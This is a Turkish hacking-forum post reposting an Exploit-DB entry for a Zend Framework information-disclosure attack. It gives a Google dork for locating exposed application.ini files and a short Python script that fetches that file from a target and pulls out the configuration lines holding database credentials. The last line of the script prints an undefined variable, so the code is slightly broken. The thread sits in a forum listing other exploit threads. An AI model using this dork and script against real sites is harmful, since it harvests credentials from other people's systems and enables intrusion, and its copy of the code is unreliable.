Konuyu Oyla:
  • Derecelendirme: 5/5 - 1 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı
#1
Kod:
# Exploit Title : Zend-Framework Full Info Disclosure
# Google Dork : inurl:/application/configs/application.ini
# Date : 26/11/2013
# Exploit Author : Ariel Orellana
# Vendor Homepage : http://framework.zend.com/
# Category : Web applications
# Tested on : GNU/Linux

#[Comment]Greetz : Daniel Godoy

#[PoC] :
#The username and password of the database may be obtained trough the "application.ini" file

#Vulnerable page : http://target.com/application/configs/application.ini


#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/application/configs/application.ini"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rd

Kaynak =>
Kod:
http://www.exploit-db.com/exploits/29921/
www.deccal.org


Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  MyBB Forum usercp.php?action=avatar Açığı KingSkrupellos 231 11,976 33 dakika önce
Son Yorum: Mr.Blade
  WordPress TheAgency Teması Dosya Yükleme Açığı KingSkrupellos 11 185 05-12-2016, Saat: 18:42
Son Yorum: the_zizil
  UpL Image Board_2 Content Dosya Yükleme Açığı KingSkrupellos 5 110 04-12-2016, Saat: 12:21
Son Yorum: antisecureman
  Desenvolvido de Markcerto SQL Enjeksiyon Açığı KingSkrupellos 11 209 30-11-2016, Saat: 16:56
Son Yorum: xApocalypse
  Website by Raw Marketing Editor Asset Dosya Yükleme Açığı KingSkrupellos 7 122 30-11-2016, Saat: 08:48
Son Yorum: the_zizil
Anahtar Kelimeler

Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı indir, Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı Videosu, Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı Online izle, Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı Bedava indir, Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı Yükle, Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı Hakkında, Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı Nedir, Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı Free indir, Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı Oyunu, Zend-Framework Site Bilgilerini Tamamen Ortaya Çıkarma Açığı Download


1 Ziyaretçi